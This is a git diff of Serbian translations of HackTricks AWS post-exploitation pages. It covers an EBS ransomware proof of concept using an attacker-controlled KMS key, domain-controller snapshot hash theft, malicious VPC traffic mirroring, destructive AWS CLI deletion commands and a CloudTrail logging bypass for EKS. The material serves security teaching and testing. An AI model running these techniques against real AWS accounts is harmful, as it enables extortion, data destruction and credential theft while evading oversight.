-Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji korisnik upravlja u KMS-u. Za ovaj primer ćemo samo dozvoliti AWS-u da upravlja podacima o ključu za mene, ali u realističnom scenariju, zlonamerna osoba bi zadržala podatke o ključu van AWS-ove kontrole. Promenite politiku ključa da dozvoli bilo kojem AWS nalogu Principal da koristi ključ. Za ovu politiku ključa, ime naloga je bilo 'AttackSim', a pravilo politike koje omogućava sve pristupe se zove 'Outside Encryption'
+Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji upravlja korisnik u KMS-u. Za ovaj primer ćemo samo dozvoliti AWS-u da upravlja podacima o ključu za mene, ali u realističnom scenariju, zlonamerna osoba bi zadržala podatke o ključu van AWS-ove kontrole. Promenite politiku ključa da dozvoli bilo kojem AWS nalogu Principal da koristi ključ. Za ovu politiku ključa, ime naloga je bilo 'AttackSim' i pravilo politike koje omogućava sve pristupe se zove 'Outside Encryption'
```
{
"Version": "2012-10-17",
@@ -239,11 +239,11 @@ Pravila politike ključa treba da imaju omogućene sledeće stavke kako bi se om
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
-Sada sa javno dostupnim ključem za korišćenje. Možemo koristiti 'žrtvinu' račun koja ima nekoliko EC2 instanci pokrenutih sa neenkriptovanim EBS volumenima. Ovi EBS volumeni 'žrtvinske' računa su ono što cilјamo za enkripciju, ovaj napad se pretpostavlja da je izvršen na računu sa visokim privilegijama AWS.
+Sada sa javno dostupnim ključem za korišćenje. Možemo koristiti 'žrtvinu' račun koji ima nekoliko EC2 instanci pokrenutih sa neenkriptovanim EBS volumenima. EBS volumeni ovog 'žrtvinog' računa su ono što cilјamo za enkripciju, ovaj napad se pretpostavlja da je izvršen na računu sa visokim privilegijama.
 
-Slično primeru S3 ransomware-a. Ovaj napad će kreirati kopije povezanih EBS volumena koristeći snimke, koristiti javno dostupni ključ iz 'napadačke' računa za enkripciju novih EBS volumena, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, a zatim konačno obrisati snimke korišćene za kreiranje novokreiranih enkriptovanih EBS volumena. 
+Slično primeru S3 ransomware-a. Ovaj napad će kreirati kopije povezanih EBS volumena koristeći snimke, koristiti javno dostupni ključ iz 'napadačkog' računa za enkripciju novih EBS volumena, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, a zatim konačno obrisati snimke korišćene za kreiranje novokreiranih enkriptovanih EBS volumena. 
To rezultira time da su u računu ostali samo enkriptovani EBS volumeni.
@@ -324,15 +324,15 @@ Sledeće, vratite se na politiku ključa u 'napadačkom' računu i uklonite prav
]
}
```
-Sačekajte trenutak da se nova politika ključeva propagira. Zatim se vratite na 'žrtvovani' nalog i pokušajte da priključite jedan od novokodiranih EBS volumena. Otkrivaćete da možete da priključite volumen.
+Sačekajte trenutak da se nova politika ključeva propagira. Zatim se vratite na 'žrtvovanu' račun i pokušajte da priključite jedan od novokreiranih EBS volumena. Otkrivaćete da možete da priključite volumen.
 
-Ali kada pokušate da zapravo pokrenete EC2 instancu sa kodiranim EBS volumenom, jednostavno će propasti i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, pošto se priključen EBS volumen ne može dekriptovati koristeći ključ, jer politika ključeva više to ne dozvoljava.
+Ali kada pokušate da zapravo pokrenete EC2 instancu sa priključenim EBS volumenom, jednostavno će propasti i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, pošto se priključeni EBS volumen ne može dekriptovati koristeći ključ jer politika ključeva više to ne dozvoljava.
 
-Ovo je python skripta koja se koristi. Uzima AWS kredencijale za 'žrtvovani' nalog i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena priključenih na SVE EC2 instance u ciljanom AWS nalogu, zatim će zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i konačno obrisati sve snimke korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'žrtvovanom' nalogu. SAMO KORISTITE OVU SKRIPTU U TESTNOM OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i vratiti ih u prvobitno stanje putem snimaka, ali želim da vas obavestim da je ovo PoC za ransomware na kraju dana.
+Ovo je python skripta koja se koristi. Uzima AWS kredencijale za 'žrtvovanu' račun i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena priključenih na SVE EC2 instance u ciljanom AWS računu, zatim će zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i konačno obrisati sve snimke korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'žrtvovanom' računu. SAMO KORISTITE OVU SKRIPTU U TEST OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i vratiti ih u prvobitno stanje putem snimaka, ali želim da vas obavestim da je ovo PoC za ransomware na kraju dana.
```
import boto3
import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index 1e7b964af..4c8db552f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -56,41 +56,41 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps
```
**Montirajte ga u EC2 VM pod vašom kontrolom** (mora biti u istoj regiji kao kopija rezervne kopije):
-Step 1: Nova zapremina vaše željene veličine i tipa treba da se kreira odlaskom na EC2 –> Zapremine.
+Korak 1: Novi volumen vaše omiljene veličine i tipa treba da bude kreiran odlaskom na EC2 –> Volumeni.
-Da biste mogli da izvršite ovu radnju, pratite ove komande:
+Da biste mogli da izvršite ovu akciju, pratite ove komande:
-- Kreirajte EBS zapreminu koju ćete priključiti EC2 instanci.
-- Osigurajte da su EBS zapremina i instanca u istoj zoni.
+- Kreirajte EBS volumen koji će se priključiti EC2 instanci.
+- Osigurajte da su EBS volumen i instanca u istoj zoni.
-Step 2: Opcija "priključi zapreminu" treba da se izabere desnim klikom na kreiranu zapreminu.
+Korak 2: Opcija "priključi volumen" treba da bude izabrana desnim klikom na kreirani volumen.
-Step 3: Instanca iz tekstualnog okvira instance treba da se izabere.
+Korak 3: Instanca iz tekstualnog okvira instance treba da bude izabrana.
-Da biste mogli da izvršite ovu radnju, koristite sledeću komandu:
+Da biste mogli da izvršite ovu akciju, koristite sledeću komandu:
-- Priključite EBS zapreminu.
+- Priključite EBS volumen.
-Step 4: Prijavite se na EC2 instancu i nabrojite dostupne diskove koristeći komandu `lsblk`.
+Korak 4: Prijavite se na EC2 instancu i nabrojite dostupne diskove koristeći komandu `lsblk`.
-Step 5: Proverite da li zapremina ima podataka koristeći komandu `sudo file -s /dev/xvdf`.
+Korak 5: Proverite da li volumen ima podataka koristeći komandu `sudo file -s /dev/xvdf`.
-Ako izlaz gornje komande prikazuje "/dev/xvdf: data", to znači da je zapremina prazna.
+Ako izlaz gornje komande prikazuje "/dev/xvdf: data", to znači da je volumen prazan.
-Step 6: Formatirajte zapreminu u ext4 datotečni sistem koristeći komandu `sudo mkfs -t ext4 /dev/xvdf`. Alternativno, možete koristiti i xfs format koristeći komandu `sudo mkfs -t xfs /dev/xvdf`. Imajte na umu da treba da koristite ili ext4 ili xfs.
+Korak 6: Formatirajte volumen u ext4 datotečni sistem koristeći komandu `sudo mkfs -t ext4 /dev/xvdf`. Alternativno, možete koristiti i xfs format koristeći komandu `sudo mkfs -t xfs /dev/xvdf`. Imajte na umu da treba da koristite ili ext4 ili xfs.
-Step 7: Kreirajte direktorijum po vašem izboru da montirate novu ext4 zapreminu. Na primer, možete koristiti naziv "newvolume".
+Korak 7: Kreirajte direktorijum po vašem izboru da montirate novi ext4 volumen. Na primer, možete koristiti naziv "newvolume".
-Da biste mogli da izvršite ovu radnju, koristite komandu `sudo mkdir /newvolume`.
+Da biste mogli da izvršite ovu akciju, koristite komandu `sudo mkdir /newvolume`.
-Step 8: Montirajte zapreminu u direktorijum "newvolume" koristeći komandu `sudo mount /dev/xvdf /newvolume/`.
+Korak 8: Montirajte volumen u direktorijum "newvolume" koristeći komandu `sudo mount /dev/xvdf /newvolume/`.
-Step 9: Promenite direktorijum u "newvolume" direktorijum i proverite prostor na disku da biste potvrdili montiranje zapremine.
+Korak 9: Promenite direktorijum u direktorijum "newvolume" i proverite prostor na disku da biste potvrdili montiranje volumena.
-Da biste mogli da izvršite ovu radnju, koristite sledeće komande:
+Da biste mogli da izvršite ovu akciju, koristite sledeće komande:
- Promenite direktorijum u `/newvolume`.
-- Proverite prostor na disku koristeći komandu `df -h .`. Izlaz ove komande treba da prikazuje slobodan prostor u "newvolume" direktorijumu.
+- Proverite prostor na disku koristeći komandu `df -h .`. Izlaz ove komande treba da prikazuje slobodan prostor u direktorijumu "newvolume".
Možete to uraditi sa Pacu koristeći modul `ebs__explore_snapshots`.
@@ -122,7 +122,7 @@ ls /mnt
```
## Shadow Copy
-Svaki AWS korisnik koji ima **`EC2:CreateSnapshot`** dozvolu može ukrasti hešove svih korisnika domena kreiranjem **snapshot-a Kontrolera domena**, montirajući ga na instancu koju kontroliše i **izvozeći NTDS.dit i SYSTEM** registry hive datoteku za korišćenje sa Impacketovim secretsdump projektom.
+Svaki AWS korisnik koji ima **`EC2:CreateSnapshot`** dozvolu može ukrasti heševe svih korisnika domena kreiranjem **snapshot-a Kontrolera Domen** i montiranjem na instancu koju kontroliše, a zatim **izvozom NTDS.dit i SYSTEM** registra za korišćenje sa Impacketovim secretsdump projektom.
Možete koristiti ovaj alat za automatizaciju napada: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ili možete koristiti neku od prethodnih tehnika nakon kreiranja snapshot-a.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index f2a8ae4b2..73f36b514 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -2,14 +2,14 @@
{{#include ../../../../banners/hacktricks-training.md}}
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
+**Proverite** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **za dalјe detalje o napadu!**
-Pasivna inspekcija mreže u cloud okruženju je bila **izazovna**, zahtevajući velike promene u konfiguraciji za praćenje mrežnog saobraćaja. Međutim, nova funkcija pod nazivom “**VPC Traffic Mirroring**” je uvedena od strane AWS-a kako bi se pojednostavio ovaj proces. Sa VPC Traffic Mirroring, mrežni saobraćaj unutar VPC-a može biti **dupliran** bez instaliranja bilo kakvog softvera na samim instancama. Ovaj duplirani saobraćaj može biti poslat na sistem za detekciju mrežnih upada (IDS) radi **analize**.
+Pasivna mrežna inspekcija u cloud okruženju je bila **izazovna**, zahtevajući velike promene u konfiguraciji za praćenje mrežnog saobraćaja. Međutim, nova funkcija pod nazivom “**VPC Traffic Mirroring**” je uvedena od strane AWS-a kako bi se pojednostavio ovaj proces. Sa VPC Traffic Mirroring, mrežni saobraćaj unutar VPC-a može biti **dupliran** bez instaliranja bilo kakvog softvera na samim instancama. Ovaj duplirani saobraćaj može biti poslat na sistem za detekciju mrežnih upada (IDS) radi **analize**.
Da bismo odgovorili na potrebu za **automatskom implementacijom** potrebne infrastrukture za mirroring i eksfiltraciju VPC saobraćaja, razvili smo skriptu za dokazivanje koncepta pod nazivom “**malmirror**”. Ova skripta se može koristiti sa **kompromitovanim AWS kredencijalima** za postavljanje mirroring-a za sve podržane EC2 instance u ciljanom VPC-u. Važno je napomenuti da VPC Traffic Mirroring podržavaju samo EC2 instance pokretane AWS Nitro sistemom, a VPC cilj za mirroring mora biti unutar istog VPC-a kao i hostovi koji se mirroring-uju.
**Uticaj** zlonamernog VPC saobraćaja može biti značajan, jer omogućava napadačima pristup **osetljivim informacijama** koje se prenose unutar VPC-a. **Verovatnoća** takvog zlonamernog mirroring-a je visoka, s obzirom na prisustvo **saobraćaja u čistom tekstu** koji prolazi kroz VPC-e. Mnoge kompanije koriste protokole u čistom tekstu unutar svojih internih mreža iz **razloga performansi**, pretpostavljajući da tradicionalni napadi tipa man-in-the-middle nisu mogući.
-Za više informacija i pristup [**malmirror skripti**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), može se pronaći u našoj **GitHub repozitoriji**. Skripta automatizuje i pojednostavljuje proces, čineći ga **brzim, jednostavnim i ponovljivim** za ofanzivne istraživačke svrhe.
+Za više informacija i pristup [**malmirror skripti**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), može se pronaći u našoj **GitHub repozitoriji**. Skripta automatizuje i pojednostavljuje proces, čineći ga **brzim, jednostavnim i ponovljivim** za svrhe ofanzivnog istraživanja.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index af818bde0..e9eadda31 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
-После преузимања слика требало би да **проверите да ли садрже осетљиве информације**:
+Nakon preuzimanja slika, trebali biste **proveriti ih na osetljive informacije**:
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
@@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-Нападач са било којом од ових дозвола може **креирати или модификовати политику животног циклуса да обрише све слике у репозиторијуму** и затим **обрисати цео ECR репозиторијум**. То би резултирало губитком свих контејнерских слика које су похрањене у репозиторијуму.
+Napadač sa bilo kojim od ovih dozvola može **kreirati ili izmeniti politiku životnog ciklusa da obriše sve slike u repozitorijumu** i zatim **obrisati ceo ECR repozitorijum**. To bi rezultiralo gubitkom svih slika kontejnera smeštenih u repozitorijumu.
```bash
bashCopy code# Create a JSON file with the malicious lifecycle policy
echo '{
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index f715303be..28f443bbd 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -50,7 +50,7 @@ aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
-### Uk stealing osetljivih informacija iz ECR kontejnera
+### Ukrasti osetljive informacije iz ECR kontejnera
EC2 instanca će verovatno imati dozvolu `ecr:GetAuthorizationToken` koja joj omogućava da **preuzme slike** (možete tražiti osetljive informacije u njima).
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index 67da665fe..ad6a17211 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -24,19 +24,19 @@ Napadač bi mogao da obriše čitav EFS sistem datoteka, što bi moglo dovesti d
```perl
aws efs delete-file-system --file-system-id
```
-**Potencijalni uticaj**: Gubitak podataka i prekid usluge za aplikacije koje koriste obrisani fajl sistem.
+**Potencijalni uticaj**: Gubitak podataka i prekid usluge za aplikacije koje koriste obrisani sistem datoteka.
### `elasticfilesystem:UpdateFileSystem`
-Napadač bi mogao da ažurira svojstva EFS fajl sistema, kao što su način propusnosti, kako bi uticao na njegovu performansu ili izazvao iscrpljivanje resursa.
+Napadač bi mogao da ažurira svojstva EFS sistema datoteka, kao što su način propusnosti, kako bi uticao na njegovu performansu ili izazvao iscrpljivanje resursa.
```sql
aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps
```
-**Potencijalni uticaj**: Degradacija performansi fajl sistema ili iscrpljivanje resursa.
+**Potencijalni uticaj**: Smanjenje performansi fajl sistema ili iscrpljivanje resursa.
### `elasticfilesystem:CreateAccessPoint` i `elasticfilesystem:DeleteAccessPoint`
-Napadač bi mogao da kreira ili obriše pristupne tačke, menjajući kontrolu pristupa i potencijalno sebi dodeljujući neovlašćen pristup fajl sistemu.
+Napadač bi mogao da kreira ili obriše pristupne tačke, menjajući kontrolu pristupa i potencijalno sebi omogućavajući neovlašćen pristup fajl sistemu.
```arduino
aws efs create-access-point --file-system-id --posix-user --root-directory
aws efs delete-access-point --access-point-id
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index 6ceac5d10..4d5c56b7d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -12,7 +12,7 @@ Za više informacija proverite
### Enumerate the cluster from the AWS Console
-Ako imate dozvolu **`eks:AccessKubernetesApi`** možete **videti Kubernetes objekte** putem AWS EKS konzole ([Saznajte više](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+Ako imate dozvolu **`eks:AccessKubernetesApi`** možete **videti Kubernetes objekte** putem AWS EKS konzole ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### Connect to AWS Kubernetes Cluster
@@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev
```
- Nije tako lak način:
-Ako možete **dobiti token** sa **`aws eks get-token --name `** ali nemate dozvole za dobijanje informacija o klasteru (describeCluster), mogli biste **pripremiti svoj `~/.kube/config`**. Međutim, imajući token, još uvek vam je potreban **url endpoint za povezivanje** (ako ste uspeli da dobijete JWT token iz poda pročitajte [ovde](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) i **ime klastera**.
+Ako možete **dobiti token** sa **`aws eks get-token --name `** ali nemate dozvole za dobijanje informacija o klasteru (describeCluster), možete **pripremiti svoj `~/.kube/config`**. Međutim, imajući token, još uvek vam je potrebna **url adresa za povezivanje** (ako ste uspeli da dobijete JWT token iz poda pročitajte [ovde](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) i **ime klastera**.
U mom slučaju, nisam našao informacije u CloudWatch logovima, ali sam **pronašao u LaunchTemplates userData** i u **EC2 mašinama u userData takođe**. Ove informacije možete lako videti u **userData**, na primer u sledećem primeru (ime klastera je bilo cluster-name):
```bash
@@ -33,7 +33,7 @@ API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazon
```
-kube konfiguracija
+kube config
```yaml
describe-cache-parametersapiVersion: v1
clusters:
@@ -77,7 +77,7 @@ provideClusterInfo: false
Način da se dodeli **pristup više AWS IAM korisnicima ili rolama** je korišćenjem **configmap** **`aws-auth`**.
> [!WARNING]
-> Stoga, svako ko ima **pristup za pisanje** na config mapu **`aws-auth`** će moći da **kompromituje ceo klaster**.
+> Stoga, svako ko ima **pristup za pisanje** preko config mapa **`aws-auth`** će moći da **kompromituje ceo klaster**.
Za više informacija o tome kako da **dodelite dodatne privilegije IAM rolama i korisnicima** u **isto ili različitoj računu** i kako da **zloupotrebite** ovo da [**privesc proverite ovu stranicu**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
@@ -87,7 +87,7 @@ Proverite takođe[ **ovaj sjajan**](https://blog.lightspin.io/exploiting-eks-aut
Moguće je omogućiti **OpenID autentifikaciju za kubernetes servisni nalog** da im omogući da preuzmu uloge u AWS-u. Saznajte kako [**to funkcioniše na ovoj stranici**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-### GET Api Server Endpoint iz JWT Tokena
+### DOBIJANJE Api Server Endpoint-a iz JWT Tokena
Dekodiranjem JWT tokena dobijamo id klastera i takođe region.  Znajući da je standardni format za EKS url
```bash
@@ -114,30 +114,30 @@ for comb in product(letter_combinations, number_combinations)
with open('out.txt', 'w') as f:
f.write('\n'.join(result))
```
-Тада са wfuzz
+Zatim sa wfuzz
```bash
wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com
```
> [!WARNING]
-> Запамтите да замените & .
+> Zapamtite da zamenite & .
-### Заобилажење CloudTrail
+### Bypass CloudTrail
-Ако нападач добије акредитиве AWS са **дозволом над EKS**. Ако нападач конфигурише свој **`kubeconfig`** (без позивања **`update-kubeconfig`**) као што је објашњено раније, **`get-token`** не генерише логове у Cloudtrail-у јер не интерактује са AWS API-jem (само локално креира токен).
+Ako napadač dobije akreditive AWS sa **dozvolama nad EKS**. Ako napadač konfiguriše svoj **`kubeconfig`** (bez pozivanja **`update-kubeconfig`**) kao što je objašnjeno ranije, **`get-token`** ne generiše logove u Cloudtrail-u jer ne komunicira sa AWS API-jem (samo kreira token lokalno).
-Дакле, када нападач комуницира са EKS кластером, **cloudtrail неће логовати ништа у вези са украденим корисником и његовим приступом**.
+Dakle, kada napadač komunicira sa EKS klasterom, **cloudtrail neće zabeležiti ništa vezano za ukradenu korisničku sesiju i pristup**.
-Напомена да **EKS кластер може имати укључене логове** који ће логовати овај приступ (иако су по подразумеваној поставци онемогућени).
+Napomena da **EKS klaster može imati omogućene logove** koji će zabeležiti ovaj pristup (iako su po defaultu isključeni).
-### EKS Откуп?
+### EKS Ransom?
-По подразумеваној поставци, **корисник или улога која је креирала** кластер **УВЕК ће имати администраторске привилегије** над кластером. И да је то једини "сигуран" приступ који AWS може имати над Kubernetes кластером.
+Po defaultu, **korisnik ili uloga koja je kreirala** klaster uvek će imati **admin privilegije** nad klasterom. I to je jedini "siguran" pristup koji AWS može imati nad Kubernetes klasterom.
-Дакле, ако **нападач компромитује кластер користећи fargate** и **уклони све остале администраторе** и **обрише AWS корисника/улогу која је креирала** кластер, ~~нападач би могао да **откупи кластер**~~**.
+Dakle, ako **napadač kompromituje klaster koristeći fargate** i **ukloni sve druge administratore** i **obriše AWS korisnika/ulogu koja je kreirala** klaster, ~~napadač bi mogao da **iznudi klaster**~~**r**.
> [!TIP]
-> Напомена да ако је кластер користио **EC2 ВМ**, могло би бити могуће добити администраторске привилегије из **Node** и опоравити кластер.
+> Napomena da ako je klaster koristio **EC2 VMs**, moglo bi biti moguće dobiti admin privilegije sa **Node** i povratiti klaster.
>
-> У ствари, ако кластер користи Fargate, могли бисте EC2 чворове или преместити све на EC2 у кластер и опоравити га приступајући токенима у чвору.
+> U stvari, ako klaster koristi Fargate, mogli biste da koristite EC2 čvorove ili prebacite sve na EC2 klaster i povratite ga pristupajući tokenima u čvoru.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index 7a34a0f37..8117000c7 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -19,7 +19,7 @@ Napadač sa dozvolom `elasticbeanstalk:DeleteApplicationVersion` može **izbrisa
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
-**Potencijalni Uticaj**: Poremećaj u implementaciji aplikacija i potencijalni gubitak verzija aplikacija.
+**Potencijalni uticaj**: Poremećaj u implementaciji aplikacija i potencijalni gubitak verzija aplikacija.
### `elasticbeanstalk:TerminateEnvironment`
@@ -30,29 +30,29 @@ Napadač sa dozvolom `elasticbeanstalk:TerminateEnvironment` može **ukinuti pos
```bash
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
```
-**Potencijalni uticaj**: Vreme neaktivnosti aplikacije, potencijalni gubitak podataka i prekid usluga.
+**Potencijalni Uticaj**: Vreme neaktivnosti aplikacije, potencijalni gubitak podataka i prekid usluga.
### `elasticbeanstalk:DeleteApplication`
-> [!NOTE]
+> [!NAPOMENA]
> TODO: Testirati da li su potrebne dodatne dozvole za ovo
Napadač sa dozvolom `elasticbeanstalk:DeleteApplication` može **izbrisati celu Elastic Beanstalk aplikaciju**, uključujući sve njene verzije i okruženja. Ova akcija može izazvati značajan gubitak resursa i konfiguracija aplikacije ako nisu sačuvani.
```bash
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
```
-**Potencijalni uticaj**: Gubitak resursa aplikacije, konfiguracija, okruženja i verzija aplikacije, što može dovesti do prekida usluge i potencijalnog gubitka podataka.
+**Potencijalni Uticaj**: Gubitak resursa aplikacije, konfiguracija, okruženja i verzija aplikacije, što može dovesti do prekida usluge i potencijalnog gubitka podataka.
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-> [!NOTE]
+> [!NAPOMENA]
> TODO: Testirati da li su potrebne dodatne dozvole za ovo
Napadač sa `elasticbeanstalk:SwapEnvironmentCNAMEs` dozvolom može **promeniti CNAME zapise dva Elastic Beanstalk okruženja**, što može uzrokovati da pogrešna verzija aplikacije bude dostupna korisnicima ili dovesti do nepredviđenog ponašanja.
```bash
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
```
-**Potencijalni uticaj**: Posluživanje pogrešne verzije aplikacije korisnicima ili izazivanje nepredviđenog ponašanja u aplikaciji zbog zamenjenih okruženja.
+**Potencijalni Uticaj**: Posluživanje pogrešne verzije aplikacije korisnicima ili izazivanje nepredviđenog ponašanja u aplikaciji zbog zamenjenih okruženja.
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index b029d61f4..153eff3a8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -39,7 +39,7 @@ Primer:
}
```
> [!WARNING]
-> Da bi napadač iskoristio zbunjenog zamenika, moraće nekako da sazna da li subjekti trenutnog naloga mogu da imituju uloge u drugim nalozima.
+> Da bi napadač iskoristio zbunjenog zamenika, moraće nekako da sazna da li subjekti trenutnog naloga mogu da se predstavljaju kao uloge u drugim nalozima.
### Neočekivana poverenja
@@ -51,7 +51,7 @@ Primer:
"Principal": { "AWS": "*" }
}
```
-Ova politika **omogućava svim AWS** da preuzmu ulogu.
+Ova politika **dozvoljava svim AWS** da preuzmu ulogu.
#### Usluga kao glavni
```json
@@ -73,7 +73,7 @@ Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da
}
}
```
-Ako je S3 kofa data kao principal, pošto S3 kofe nemaju ID naloga, ako ste **obrisali svoju kofu i napadač je kreirao** je u svom nalogu, onda bi mogli da to zloupotrebe.
+Ako je S3 bucket dat kao principal, pošto S3 bucket-i nemaju Account ID, ako ste **obrisali svoj bucket i napadač ga je kreirao** u svom nalogu, mogli bi to zloupotrebiti.
#### Nije podržano
```json
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index 5b1811da9..0bd11b880 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
-- Koristeći **asimetrični** ključ:
+- Korišćenje **asimetričnog** ključa:
```bash
# Encrypt data
aws kms encrypt \
@@ -62,7 +62,7 @@ aws kms decrypt \
